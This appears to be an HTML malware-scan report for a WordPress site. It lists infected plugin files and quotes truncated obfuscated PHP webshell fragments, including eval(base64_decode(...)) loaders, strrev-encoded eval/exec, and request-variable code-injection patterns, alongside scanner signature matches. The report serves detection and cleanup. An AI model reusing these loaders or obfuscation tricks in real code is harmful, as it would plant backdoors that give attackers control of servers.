<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_245").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/vrzhg/nfzbh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 13:50:18</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 13:50:18</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_246" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_246").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/vrzhg/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 12:49:22</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 12:49:22</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_247" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_247").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/zcach/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 16:09:18</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 16:09:18</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_248" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_248").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/seo-1769473683/js/home-1769473683.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:28:25</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:28:25</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_249" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_249").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/seo-1769473683/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:28:25</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:28:25</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_250" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_250").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apress-importer/demo13/revsliders/revsliders/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_251" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'w96MMVf4PKI2C8tHcrlohsCZ1UGvkq2zQ/x3u/949vf31Hf5ON8p3nXpHt+pWvd8DDl7XP8ozfM7rz8jr4JKet23zWlv2uYe7Nkju7/L3eiGO8l7W0iXu4t7O7d1u8xnOQxCtzj3E+7OeV2zna/xMpF22bjyU/b26i/efx2TXc33c2NKBsGyMGlGmL5vamJHzbmP9n9rRpfe1mHgCYPqUNoX7qjVy+sXAi4NRegAriq0cgYTftfTp+rqj1TXaP58A5OcGzoCl7mc0pwBeCxIUdGAAjMOhPIrZSIeVLGnulQ8VYU51GuvM8OG7AOsrkfkkQI+iRe6C42Zd8vJUR2BvD3vdQmuo5cTv+BrN85oV1q1aYZpJA2JrPgLW32Vm9PNwnvY/OP7jtt17nftXah0JcBpSNI6iqsvGfPOlqWD4ftRl4s1F5/0FtX/Fxdb1/HHNbtzg/CSrmVTACwhk7FDA1SFVtnGcTMhPj7V8ce7QY1FPMG1rLK...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$jpU</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_251").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apress-importer/demo13/revsliders/revsliders/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.91 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_252" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$samel5qwW6lEm3</span><span style="color: #007700">[</span><span style="color: #0000BB">35</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_252").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apress-importer/demo93/revsliders/revsliders/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.50 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_253" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'Aa+QKI/HPRA92hv1Qa4UtkSIrny01Vwa2H3/ew6P62Lve5hP5xAnW8wt2R2va9pT/drEc8+Pd85Z/9VfClfVzrwmB2n2kwlv3vHe9+tHu/zub/1u+jX8yFvdnEv92lPqUBua09a8GJfrxrzO+U+XmIjMWfac27dxWW/77LzO6j+6GzoVJh2cmCWJx7amLnQap/t5z/RraW17HsyZIC0HaHWULbktbfAC7jC8GpWERRZBLOea5uz/RVl1Tb6M10Q6PQmznyE2I4yPwuHiQSJuBqwwAZglpDEJrHhwzdbYKWB1Xhxh/a/+ix6QMD65OSDViCw0LH4tbobvVx9mSFbP83X3mBa+ymzN76G++xKZ9qVpmiMD9Q1557c0y1m9FZ0nj8/PGvzfud7mc0v3Gpz8KClYUsFUNXN9WsqXnWQ/Q7qyJTLxLRXY7mrj/mq+5/61Rnh+J0VNpWgGoDL8B2gqxiOZDr4nSmfGxj456eBzsL+aCGXXa4Z...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
